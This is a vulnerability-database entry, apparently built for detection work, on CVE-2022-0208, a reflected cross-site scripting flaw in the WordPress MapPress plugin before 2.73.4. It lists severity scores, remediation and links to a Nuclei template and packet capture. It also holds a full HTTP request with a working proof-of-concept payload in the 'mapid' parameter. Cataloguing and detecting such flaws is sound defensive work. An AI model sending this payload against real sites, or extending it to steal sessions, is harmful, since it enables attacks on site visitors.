🔙 목록으로 돌아가기

CVE-2022-0208: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting

TitleWordPress Plugin MapPress <2.73.4 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.04312
CVE IDCVE-2022-0208
CWE IDCWE-79
Tags cve2022 cve mappress xss wordpress wp-plugin wpscan mappresspro vuln

🔍 Vulnerability Description

WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the ‘mapid’ parameter before outputting it back in the “Bad mapid” error message, leading to reflected cross-site scripting.

🌐 HTTP Request

GET /?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0208.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0208.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A